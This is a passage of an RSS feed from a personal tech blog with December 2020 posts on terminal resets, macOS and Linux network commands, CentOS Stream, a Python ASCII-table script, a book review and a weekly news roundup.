href=&#34;https://arstechnica.com/science/2020/12/starship-rises-high-performs-a-flawless-flip-but-doesnt-quite-stick-the-landing/&#34;&gt;https://arstechnica.com/science/2020/12/starship-rises-high-performs-a-flawless-flip-but-doesnt-quite-stick-the-landing/&lt;/a&gt;, &lt;a href=&#34;https://www.spacex.com/vehicles/starship/&#34;&gt;https://www.spacex.com/vehicles/starship/&lt;/a&gt;, &lt;a href=&#34;https://www.youtube.com/watch?v=ap-BkkrRg-o&#34;&gt;https://www.youtube.com/watch?v=ap-BkkrRg-o&lt;/a&gt; - On Wednesday, December 9, Starship serial number 8 (SN8) lifted off from our Cameron County launch pad and successfully ascended, transitioned propellant, and performed its landing flip maneuver with precise flap control to reach its landing point.  SpaceX’s Starship spacecraft and Super Heavy rocket (collectively referred to as Starship) represent a fully reusable transportation system designed to carry both crew and cargo to Earth orbit, the Moon, Mars and beyond.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://2020.kringlecon.com/%E2%9D%84%F0%9F%8E%81%E2%9B%84%F0%9F%8E%84%F0%9F%8E%85%E2%9D%84&#34;&gt;https://2020.kringlecon.com/❄🎁⛄🎄🎅❄&lt;/a&gt;, &lt;a href=&#34;https://www.youtube.com/watch?v=8e0SZrbWFuU&#34;&gt;https://www.youtube.com/watch?v=8e0SZrbWFuU&lt;/a&gt; - KringleCon3, the 2020 SANS Holiday Hack Challenge, is officially open this week.&lt;/li&gt;&#xA;&lt;/ul&gt;</description>
    </item>
    <item>
      <title>Fixing garbled terminal output with reset</title>
      <link>https://jasonmurray.org/posts/2020/terminalreset/</link>
      <pubDate>Thu, 10 Dec 2020 16:55:22 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/terminalreset/</guid>
      <description>&lt;p&gt;Sometimes when binary data is displayed to a terminal session it will garble the shell prompt and turn this:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:/usr/bin $&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;into this:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;8g䭢����C0@���-��uL:/�Y�/��� $&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;For example, &lt;code&gt;cat&lt;/code&gt;ing out &lt;code&gt;/dev/random&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:/usr/bin $ head /dev/random&#xA;�M��&amp;amp;n�0�/[x6��4��(i/��M۩�5����&amp;#39;�^��_��g�d�qC|\x�u��.��J�DNi��~ò?\玀�O�D��lC�O��+� C�����G��:�����2�rc���h�胚���1yo{`L�I�&#xA;                                                                                                                         3��$�γ��ʄ}��U�q�����&amp;#39;�\��X�h��t+��_��\z+���^e�.&#xA;                                                                                                                                                                         1&amp;gt;2]��4��ԅ&amp;amp;L^���K�n&#xA;�dY���� $�0��-~��(�&#xA;                   �o�͛������:&#xA;                             ���T���a�P��l(\h�fh   ��(��3�m��6mp�&#xA;                                                                  O�ｳ� �}��?K�;Zl�x����F������o�l|WD��NLtB�9�C�a!�(��Pi��gk;f���e��^A�+��h_M�Y�{�q�v[�;���g`W�M���oʷ��Z�w�&#xA;                                                                                                                                                                            9`�j����ǘ����R��U�J��{9����7G���&#xA;                     :&#xA;                      &amp;gt;����&#xA;�u&amp;gt;���o�0g�r{B&amp;#34;l�ZA�&#xA;}��t.�d��~u����lWk�-�T�Π$c���F&amp;gt;�����&amp;#39;����$F�\��@�!��־�^G��v}!&amp;#34;xba�Q�Y��    |6���!�cm&amp;#39;k?����or�|�&#xA;1�Bj�   ��w7��%��K#P���~��:y$�I�e�tӱ*���2��,(���9/C�7��`:�3V����&amp;#34;�Ȑ^��4`����~�kL/D]����-���H׺����Mk@w����T@K�bʴ,Cc����:��7HX���A�����k���Y�.�)TJli���hJk���O���TKkD �Wk�{L�D��q���=(�kY�h&amp;#39;:����zm%��3|v6��=4���6����i��vð��Z������MW�&#xA;�&amp;gt;�*^p���-�ңHoS2/G���`�5+t-hd6tn@L�(�{��f&amp;#34;w��(�q�8������l�&amp;lt;��9\�^Ն�f6����;f��?&#xA;���w����kⴃ���ᜊ��b_*cu�IWF�D��PwG&#xA;a���#b�(�R��T����Q�s\�Ο7i�$}�-�al�����*�YTt�+����tL��:К�4]#��ً��~�%J*���,�!�}�Z�&#xA;                                      $�?����xß��c&#xA;                                                  �{K��jm&#xA;C�O�ֆ���ڡ�]�rU7޻Sm֕.�[���;���݁x1�}����Mn�� ��s}�B��4�p&amp;#39;w?�{�$e�&amp;lt;�_�U)�������-R:�RJcվ�ߏe��N�&amp;#39;�n�Vc�c⇱�w0j]�G˵� !rĉ�$�H��I�ᇠ��6;I�㽔�-��5a���&amp;#39;        ��_u4~1��u}rQ���09�J,������g� ���Jȝ����kP��ԩX���Ů1X��*D��Shw��D�����l;���=�G�����=a�F+*�E&amp;gt;L�!����l��Nt4�E5��t���T�h��s��&#xA;��_&amp;lt;&amp;lt;Glzp6��*�  ���A�hי.�R�A�ܨ��5BT��#�e��L4B��ї�mr|�@p�7�sO)��]D=0\�O�2I�+i�;�J-&#xA;��      M�cErAF����&#xA;                   �t�M����헧�4t�V�ǲ�����Ep{�=�&amp;#39;]�B���`�0�C{�� }��v�h��&amp;gt;(0M�j�������uL0�u���JM�0��_co�@��&#xA;                                                                                                         &amp;gt;&#xA;                                                                                                          �-}��_8��L����&#xA;                                                                                                                        �!`��t0�&#xA;�Kb8g䭢����C0gUmk�7�]ѽ&amp;#34;�PB� !�                                                                                                  �&amp;amp;8��&#xA;z`      k�T����泟)a&#xA;&#xA;&#xA;8g䭢����C0@���-��uL:/�Y�/��� $&#xA;8g䭢����C0@���-��uL:/�Y�/��� $&#xA;8g䭢����C0@���-��uL:/�Y�/��� $&#xA;8g䭢����C0@���-��uL:/�Y�/��� $&#xA;8g䭢����C0@���-��uL:/�Y�/��� $&#xA;8g䭢����C0@���-��uL:/�Y�/��� $&#xA;8g䭢����C0@���-��uL:/�Y�/��� $&#xA;8g䭢����C0@���-��uL:/�Y�/��� $&#xA;8g䭢����C0@���-��uL:/�Y�/��� $&#xA;8g䭢����C0@���-��uL:/�Y�/��� $&#xA;8g䭢����C0@���-��uL:/�Y�/��� $&#xA;8g䭢����C0@���-��uL:/�Y�/��� $&#xA;8g䭢����C0@���-��uL:/�Y�/��� $&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To resolve this problem, type &lt;code&gt;reset&lt;/code&gt; and press &lt;code&gt;&amp;lt;enter&amp;gt;&lt;/code&gt;.  The screen will clear and the terminal prompt should be reset back to normal:&lt;/p&gt;</description>
    </item>
    <item>
      <title>Limiting bandwidth on macOS with TripMode</title>
      <link>https://jasonmurray.org/posts/2020/tripmode/</link>
      <pubDate>Wed, 09 Dec 2020 15:04:33 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/tripmode/</guid>
      <description>&lt;p&gt;It is not uncommon for my macOS laptop to kick off a large software update, backup event, or an iCloud synchronization at the most inopportune time, such as roaming while on the iPhone hot spot or during a virtual meeting when a broadband link is bandwidth limited.  To help ease this congestion, I use &lt;a href=&#34;https://tripmode.ch/&#34;&gt;TripMode&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;TripMode shapes bandwidth by blocking specified applications from accessing the network.&lt;/p&gt;&#xA;&lt;p&gt;To simplify configuration, the profile switching feature automatically blocks applications depending on the connected network.&lt;/p&gt;</description>
    </item>
    <item>
      <title>CentOS is moving from a stable distribution to an upstream development release</title>
      <link>https://jasonmurray.org/posts/2020/centosstream/</link>
      <pubDate>Tue, 08 Dec 2020 14:58:24 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/centosstream/</guid>
      <description>&lt;p&gt;Today, the CentOS project released the following news:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The future of the CentOS Project is CentOS Stream, and over the next year we’ll be shifting focus from CentOS Linux, the rebuild of Red Hat Enterprise Linux (RHEL), to CentOS Stream, which tracks just ahead of a current RHEL release. CentOS Linux 8, as a rebuild of RHEL 8, will end at the end of 2021. CentOS Stream ontinues after that date, serving as the upstream (development) branch of Red Hat Enterprise Linux.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Managing Ubuntu servers over a serial console</title>
      <link>https://jasonmurray.org/posts/2020/serialconsolelinux/</link>
      <pubDate>Mon, 07 Dec 2020 15:26:38 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/serialconsolelinux/</guid>
      <description>&lt;h1 id=&#34;overview&#34;&gt;Overview&lt;/h1&gt;&#xA;&lt;p&gt;By configuring the physical serial port on a Linux server to listen for incoming connections, administrators can replace the traditional keyboard and monitor with a single serial cable.  Now system administrators can manage physical servers with a serial cable attached to a laptop or a &lt;a href=&#34;https://jasonmurray.org/posts/2020/raspconsole/&#34;&gt;serial console server&lt;/a&gt; over a remote SSH session.&lt;/p&gt;&#xA;&lt;p&gt;Over the years, serial consoles have lost favor to &lt;em&gt;lights out management cards&lt;/em&gt;, such as &lt;code&gt;iLo&lt;/code&gt;, &lt;code&gt;iDrac&lt;/code&gt;, or &lt;code&gt;ipmi&lt;/code&gt;.  However, in organizations where serial management is still prevalent, such as data centers with large networking environments, serial consoles are a viable alternative to LoM and KVM.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Using a pencil eraser to clean electrical contacts</title>
      <link>https://jasonmurray.org/posts/2020/eleccontact/</link>
      <pubDate>Sun, 06 Dec 2020 11:51:26 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/eleccontact/</guid>
      <description>&lt;p&gt;Special tools or cleaning chemicals are not needed to clean electrical contacts.  Instead, use a standard pencil eraser to remove the oxidation and buildup:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/2020-12-06-11-58-02.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note: Sorry for the blurry photos&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;Before picture from a dirty Roomba dust bin contact:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/2020-12-06-11-51-35.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Using the pencil eraser, I was able to rub off the majority of the build up:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/2020-12-06-11-53-00.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Most of the grime is removed:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/2020-12-06-11-53-22.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Book: Educated</title>
      <link>https://jasonmurray.org/posts/2020/educated/</link>
      <pubDate>Sat, 05 Dec 2020 12:45:43 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/educated/</guid>
      <description>&lt;p&gt;The impact a person of authority has over a child becomes strikingly apparent in the book &lt;a href=&#34;https://www.amazon.com/Educated-Memoir-Tara-Westover/dp/0399590501&#34;&gt;Educated&lt;/a&gt;, a memoir from Tara Westover.  She recounts the decades of physical and mental abuse her parents and siblings unleashed while growing up in rural Idaho.  This story illustrates the important role education and diverse life experiences bestow in shaping the belief systems we carry with us throughout our lives.&lt;/p&gt;&#xA;&lt;p&gt;The book begins with young Tara living under an oppressive father, whose twisted beliefs are scored by survivalism, distrust of the government, and an unwavering belief in the Morman church.  Their father rules over the family by filling their minds with endless delusions depicting the end of days, a corrupt socialist government, and distrust of outsiders.  He fills their days, performing the Lord’s edict by requiring everyone to prepare for a forthcoming apocalypse.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Week in Review: Issue #1</title>
      <link>https://jasonmurray.org/posts/2020/friday20201204/</link>
      <pubDate>Fri, 04 Dec 2020 12:40:38 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/friday20201204/</guid>
      <description>&lt;p&gt;Welcome to the first installment of the &lt;em&gt;Week in Review&lt;/em&gt;.  A weekly posting of news articles I found interesting.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://arstechnica.com/gadgets/2020/12/iphone-zero-click-wi-fi-exploit-is-one-of-the-most-breathtaking-hacks-ever/&#34;&gt;https://arstechnica.com/gadgets/2020/12/iphone-zero-click-wi-fi-exploit-is-one-of-the-most-breathtaking-hacks-ever/&lt;/a&gt; - Apple patched one of the most breathtaking iPhone vulnerabilities ever: a memory corruption bug in the iOS kernel that gave attackers remote access to the entire device—over Wi-Fi, with no user interaction required at all.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.bbc.com/news/health-55145696&#34;&gt;https://www.bbc.com/news/health-55145696&lt;/a&gt; - Pfizer/BioNTech vaccine judged safe for use in UK from next week.  Britain&amp;rsquo;s medicines regulator, the MHRA, says the jab, which offers up to 95% protection against Covid-19 illness, is safe to be rolled out.  The first doses are already on their way to the UK, with 800,000 due in the coming days, Pfizer said.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.theguardian.com/environment/2020/dec/02/no-kill-lab-grown-meat-to-go-on-sale-for-first-time&#34;&gt;https://www.theguardian.com/environment/2020/dec/02/no-kill-lab-grown-meat-to-go-on-sale-for-first-time&lt;/a&gt; - Cultured meat, produced in bioreactors without the slaughter of an animal, has been approved for sale by a regulatory authority for the first time. The development has been hailed as a landmark moment across the meat industry. The “chicken bites”, produced by the US company Eat Just, have passed a safety review by the Singapore &lt;a href=&#34;https://www.theguardian.com/environment/food&#34;&gt;Food&lt;/a&gt; Agency and the approval could open the door to a future when all meat is produced without the killing of livestock, the company said.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://holidayhackchallenge.com/2020/index.html&#34;&gt;https://holidayhackchallenge.com/2020/index.html&lt;/a&gt; - The KringleCon 3 CTF event begins the second week of December 2020.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://investor.salesforce.com/press-releases/press-release-details/2020/Salesforce-Signs-Definitive-Agreement-to-Acquire-Slack/default.aspx&#34;&gt;https://investor.salesforce.com/press-releases/press-release-details/2020/Salesforce-Signs-Definitive-Agreement-to-Acquire-Slack/default.aspx&lt;/a&gt; - Salesforce to acquire slack for $27.7 billion.&lt;/li&gt;&#xA;&lt;/ul&gt;</description>
    </item>
    <item>
      <title>Removing an IP address from a network interface in macOS</title>
      <link>https://jasonmurray.org/posts/2020/deleteipmacos/</link>
      <pubDate>Thu, 03 Dec 2020 09:06:31 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/deleteipmacos/</guid>
      <description>&lt;h1 id=&#34;tldr&#34;&gt;TL;DR&lt;/h1&gt;&#xA;&lt;p&gt;Remove an IP address from an interface in macOS:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~ $ sudo ifconfig en0 delete 172.20.10.4&#xA;Password:&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;p&gt;A network interface can contain multiple IP address:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@mbp-2019:~ $ ifconfig en0&#xA;en0: flags=8863&amp;lt;UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST&amp;gt; mtu 1500&#xA;        options=400&amp;lt;CHANNEL_IO&amp;gt;&#xA;        ether f0:18:98:9b:b5:b2&#xA;        inet6 fe80::1cd4:4e32:efbe:c0b9%en0 prefixlen 64 secured scopeid 0x6&#xA;        inet6 2600:380:643d:1845:fd:56c8:ea95:642d prefixlen 64 autoconf secured&#xA;        inet6 2600:380:643d:1845:2c19:1a54:5f49:b13e prefixlen 64 autoconf temporary&#xA;        inet 172.20.10.4 netmask 0xfffffff0 broadcast 172.20.10.15&#xA;        nd6 options=201&amp;lt;PERFORMNUD,DAD&amp;gt;&#xA;        media: autoselect&#xA;        status: active&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To remove a single IP, us the &lt;code&gt;ifconfig&lt;/code&gt; command with the &lt;code&gt;delete&lt;/code&gt; option:&lt;/p&gt;</description>
    </item>
    <item>
      <title>KringleCon 3 Coming Soon</title>
      <link>https://jasonmurray.org/posts/2020/kc2020/</link>
      <pubDate>Wed, 02 Dec 2020 15:08:50 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/kc2020/</guid>
      <description>&lt;p&gt;SANS is hosting &lt;a href=&#34;https://holidayhackchallenge.com/2020/index.html&#34;&gt;KringleCon 3&lt;/a&gt;, the annual Holiday Hacking Contest attended by the best security experts around the world.  KringleCon is an online capture the flag (CTF) style event where players solve various security related challenges.&lt;/p&gt;&#xA;&lt;p&gt;Last year players were presented with 10 different objectives of varying levels of difficulty.  In addition, each objective had a corresponding training module to help the user become familiar with the concepts and tools necessary to solve the task.  Some of these training modules were created by high profile experts in their fields.  It was a fantastic learning opportunity.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Locating ethernet ports with ethtool</title>
      <link>https://jasonmurray.org/posts/2020/ethtoolidentify/</link>
      <pubDate>Tue, 01 Dec 2020 06:24:01 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/ethtoolidentify/</guid>
      <description>&lt;h1 id=&#34;tldr&#34;&gt;TL;DR&lt;/h1&gt;&#xA;&lt;p&gt;Use &lt;code&gt;ethtool&lt;/code&gt; to locate a physical network port by blinking the lights:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo ethtool --identify eth0&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/2020-12-01-13-18-58.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;&#xA;&lt;h1 id=&#34;details&#34;&gt;Details&lt;/h1&gt;&#xA;&lt;p&gt;On systems with multiple physical network adaptors, it is not always obvious which physical port belongs to the software interface.  For example, the following desktop has multiple network interfaces:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;jemurray@desktop:~$ ifconfig -a&#xA;eth0      Link encap:Ethernet  HWaddr 78:e3:b5:06:91:18&#xA;          inet addr:192.168.86.123  Bcast:192.168.86.255  Mask:255.255.255.0&#xA;          inet6 addr: fe80::7ae3:b5ff:fe06:9118/64 Scope:Link&#xA;          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1&#xA;          RX packets:9613 errors:0 dropped:172 overruns:0 frame:0&#xA;          TX packets:1256 errors:0 dropped:0 overruns:0 carrier:0&#xA;          collisions:0 txqueuelen:1000&#xA;          RX bytes:798122 (798.1 KB)  TX bytes:338757 (338.7 KB)&#xA;          Interrupt:95&#xA;&#xA;eth1      Link encap:Ethernet  HWaddr 78:e3:b5:06:91:19&#xA;          BROADCAST MULTICAST  MTU:1500  Metric:1&#xA;          RX packets:0 errors:0 dropped:0 overruns:0 frame:0&#xA;          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&#xA;          collisions:0 txqueuelen:1000&#xA;          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)&#xA;          Interrupt:99&#xA;&#xA;eth2      Link encap:Ethernet  HWaddr 78:e3:b5:06:91:1a&#xA;          BROADCAST MULTICAST  MTU:1500  Metric:1&#xA;          RX packets:0 errors:0 dropped:0 overruns:0 frame:0&#xA;          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&#xA;          collisions:0 txqueuelen:1000&#xA;          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)&#xA;          Interrupt:103&#xA;&#xA;eth3      Link encap:Ethernet  HWaddr 78:e3:b5:06:91:1b&#xA;          BROADCAST MULTICAST  MTU:1500  Metric:1&#xA;          RX packets:0 errors:0 dropped:0 overruns:0 frame:0&#xA;          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0&#xA;          collisions:0 txqueuelen:1000&#xA;          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)&#xA;          Interrupt:107&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;ethtool&lt;/code&gt; command has an &lt;code&gt;--identify&lt;/code&gt; option that blinks the lights on a physical network interface.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Accessing the HP DL370 G6 hardware RAID menu on boot</title>
      <link>https://jasonmurray.org/posts/2020/hpdl370g6raid/</link>
      <pubDate>Mon, 30 Nov 2020 15:46:17 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/hpdl370g6raid/</guid>
      <description>&lt;h1 id=&#34;raid-menu&#34;&gt;RAID Menu&lt;/h1&gt;&#xA;&lt;p&gt;To access the hidden RAID menu on the HP DL 370 G6, keep pressing the F8 key during the boot process:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://jasonmurray.org/images/2020-11-30-15-51-27.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;&#xA;&lt;h1 id=&#34;rant&#34;&gt;Rant&lt;/h1&gt;&#xA;&lt;p&gt;Dear server manufactures,&lt;/p&gt;&#xA;&lt;p&gt;Please make it easier to find boot menu key sequences.  For those of us who access these menus on rare occasions, fumbling around a clumsy interface is something we rather avoid.   Often these menus are required during an emergency event, hardware maintenance, or in my case to determine if my systems was about to deteriorate beyond repair after a disk replacement.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Dump ASCII table in Python</title>
      <link>https://jasonmurray.org/posts/2020/printascii/</link>
      <pubDate>Sun, 29 Nov 2020 19:57:19 -0600</pubDate>
      <guid>https://jasonmurray.org/posts/2020/printascii/</guid>
      <description>&lt;p&gt;Python script to dump the ASCII table:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;#!/usr/bin/env python3&#xA;&#xA;print(&amp;#34;|{:^9}|{:^10}|{:^10}|&amp;#34;.format(&amp;#34;ASCII&amp;#34;, &amp;#34;Decimal&amp;#34;, &amp;#34;Hex&amp;#34;))&#xA;for c in range(256):&#xA;    print(&amp;#34;|{:^10}|{:^10}|{:^10}|&amp;#34;.format(str(chr(c)), c, hex(c)))&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Output:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;|  ASCII  | Decimal  |   Hex    |&#xA;|         |    0     |   0x0    |&#xA;|         |    1     |   0x1    |&#xA;|         |    2     |   0x2    |&#xA;|         |    3     |   0x3    |&#xA;|         |    4     |   0x4    |&#xA;|         |    5     |   0x5    |&#xA;|         |    6     |   0x6    |&#xA;|         |    7     |   0x7    |&#xA;|         |    8     |   0x8    |&#xA;|    &#x9;    |    9     |   0x9    |&#xA;|         |    10    |   0xa    |&#xA;|         |    11    |   0xb    |&#xA;|         |    12    |   0xc    |&#xA;|         |    13    |   0xd    |&#xA;|         |    14    |   0│␊    |&#xA;|         |    15    |   0xf    |&#xA;|         |    16    |   0x10   |&#xA;|         |    17    |   0x11   |&#xA;|         |    18    |   0x12   |&#xA;|         |    19    |   0x13   |&#xA;|         |    20    |   0x14   |&#xA;|         |    21    |   0x15   |&#xA;|         |    22    |   0x16   |&#xA;|         |    23    |   0x17   |&#xA;|         |    24    |   0x18   |&#xA;|         |    25    |   0x19   |&#xA;|         |    26    |   0x1a   |&#xA;|         |    27    |   0x1b   |&#xA;|         |    28    |   0x1c   |&#xA;|         |    29    |   0x1d   |&#xA;|         |    30    |   0x1e   |&#xA;|         |    31    |   0x1f   |&#xA;|          |    32    |   0x20   |&#xA;|    !     |    33    |   0x21   |&#xA;|    &amp;#34;     |    34    |   0x22   |&#xA;|    #     |    35    |   0x23   |&#xA;|    $     |    36    |   0x24   |&#xA;|    %     |    37    |   0x25   |&#xA;|    &amp;amp;     |    38    |   0x26   |&#xA;|    &amp;#39;     |    39    |   0x27   |&#xA;|    (     |    40    |   0x28   |&#xA;|    )     |    41    |   0x29   |&#xA;|    *     |    42    |   0x2a   |&#xA;|    +     |    43    |   0x2b   |&#xA;|    ,     |    44    |   0x2c   |&#xA;|    -     |    45    |   0x2d   |&#xA;|    .     |    46    |   0x2e   |&#xA;|    /     |    47    |   0x2f   |&#xA;|    0     |    48    |   0x30   |&#xA;|    1     |    49    |   0x31   |&#xA;|    2     |    50    |   0x32   |&#xA;|    3     |    51    |   0x33   |&#xA;|    4     |    52    |   0x34   |&#xA;|    5     |    53    |   0x35   |&#xA;|    6     |    54    |   0x36   |&#xA;|    7     |    55    |   0x37   |&#xA;|    8     |    56    |   0x38   |&#xA;|    9     |    57    |   0x39   |&#xA;|    :     |    58    |   0x3a   |&#xA;|    ;     |    59    |   0x3b   |&#xA;|    &amp;lt;     |    60    |   0x3c   |&#xA;|    =     |    61    |   0x3d   |&#xA;|    &amp;gt;     |    62    |   0x3e   |&#xA;|    ?     |    63    |   0x3f   |&#xA;|    @     |    64    |   0x40   |&#xA;|    A     |    65    |   0x41   |&#xA;|    B     |    66    |   0x42   |&#xA;|    C     |    67    |   0x43   |&#xA;|    D     |    68    |   0x44   |&#xA;|    E     |    69    |   0x45   |&#xA;|    F     |    70    |   0x46   |&#xA;|    G     |    71    |   0x47   |&#xA;|    H     |    72    |   0x48   |&#xA;|    I     |    73    |   0x49   |&#xA;|    J     |    74    |   0x4a   |&#xA;|    K     |    75    |   0x4b   |&#xA;|    L     |    76    |   0x4c   |&#xA;|    M     |    77    |   0x4d   |&#xA;|    N     |    78    |   0x4e   |&#xA;|    O     |    79    |   0x4f   |&#xA;|    P     |    80    |   0x50   |&#xA;|    Q     |    81    |   0x51   |&#xA;|    R     |    82    |   0x52   |&#xA;|    S     |    83    |   0x53   |&#xA;|    T     |    84    |   0x54   |&#xA;|    U     |    85    |   0x55   |&#xA;|    V     |    86    |   0x56   |&#xA;|    W     |    87    |   0x57   |&#xA;|    X     |    88    |   0x58   |&#xA;|    Y     |    89    |   0x59   |&#xA;|    Z     |    90    |   0x5a   |&#xA;|    [     |    91    |   0x5b   |&#xA;|    \     |    92    |   0x5c   |&#xA;|    ]     |    93    |   0x5d   |&#xA;|    ^     |    94    |   0x5e   |&#xA;|    _     |    95    |   0x5f   |&#xA;|    `     |    96    |   0x60   |&#xA;|    a     |    97    |   0x61   |&#xA;|    b     |    98    |   0x62   |&#xA;|    c     |    99    |   0x63   |&#xA;|    d     |   100    |   0x64   |&#xA;|    e     |   101    |   0x65   |&#xA;|    f     |   102    |   0x66   |&#xA;|    g     |   103    |   0x67   |&#xA;|    h     |   104    |   0x68   |&#xA;|    i     |   105    |   0x69   |&#xA;|    j     |   106    |   0x6a   |&#xA;|    k     |   107    |   0x6b   |&#xA;|    l     |   108    |   0x6c   |&#xA;|    m     |   109    |   0x6d   |&#xA;|    n     |   110    |   0x6e   |&#xA;|    o     |   111    |   0x6f   |&#xA;|    p     |   112    |   0x70   |&#xA;|    q     |   113    |   0x71   |&#xA;|    r     |   114    |   0x72   |&#xA;|    s     |   115    |   0x73   |&#xA;|    t     |   116    |   0x74   |&#xA;|    u     |   117    |   0x75   |&#xA;|    v     |   118    |   0x76   |&#xA;|    w     |   119    |   0x77   |&#xA;|    x     |   120    |   0x78   |&#xA;|    y     |   121    |   0x79   |&#xA;|    z     |   122    |   0x7a   |&#xA;|    {     |   123    |   0x7b   |&#xA;|    |     |   124    |   0x7c   |&#xA;|    }     |   125    |   0x7d   |&#xA;|    ~     |   126    |   0x7e   |&#xA;|          |   127    |   0x7f   |&#xA;|         |   128    |   0x80   |&#xA;|         |   129    |   0x81   |&#xA;|         |   130    |   0x82   |&#xA;|         |   131    |   0x83   |&#xA;|         |   132    |   0x84   |&#xA;|         |   133    |   0x85   |&#xA;|        |   134    |   0x86   |&#xA;|        |   135    |   0x87   |&#xA;|        |   136    |   0x88   |&#xA;|        |   137    |   0x89   |&#xA;|        |   138    |   0x8a   |&#xA;|          |   139    |   0x8b   |&#xA;|        |   140    |   0x8c   |&#xA;|        |   141    |   0x8d   |&#xA;|        |   142    |   0x8e   |&#xA;|        |   143    |   0x8f   |&#xA;|        |   144    |   0x90   |&#xA;|        |   145    |   0x91   |&#xA;|        |   146    |   0x92   |&#xA;|        |   147    |   0x93   |&#xA;|        |   148    |   0x94   |&#xA;|        |   149    |   0x95   |&#xA;|        |   150    |   0x96   |&#xA;|        |   151    |   0x97   |&#xA;|        |   152    |   0x98   |&#xA;|        |   153    |   0x99   |&#xA;|        |   154    |   0x9a   |&#xA;|        |   155    |   0x9b   |&#xA;|        |   156    |   0x9c   |&#xA;|        |   157    |   0x9d   |&#xA;|        |   158    |   0x9e   |&#xA;|        |   159    |   0x9f   |&#xA;|          |   160    |   0xa0   |&#xA;|    ¡     |   161    |   0xa1   |&#xA;|    ¢     |   162    |   0xa2   |&#xA;|    £     |   163    |   0xa3   |&#xA;|    ¤     |   164    |   0xa4   |&#xA;|    ¥     |   165    |   0xa5   |&#xA;|    ¦     |   166    |   0xa6   |&#xA;|    §     |   167    |   0xa7   |&#xA;|    ¨     |   168    |   0xa8   |&#xA;|    ©     |   169    |   0xa9   |&#xA;|    ª     |   170    |   0xaa   |&#xA;|    «     |   171    |   0xab   |&#xA;|    ¬     |   172    |   0xac   |&#xA;|    ­      |   173    |   0xad   |&#xA;|    ®     |   174    |   0xae   |&#xA;|    ¯     |   175    |   0xaf   |&#xA;|    °     |   176    |   0xb0   |&#xA;|    ±     |   177    |   0xb1   |&#xA;|    ²     |   178    |   0xb2   |&#xA;|    ³     |   179    |   0xb3   |&#xA;|    ´     |   180    |   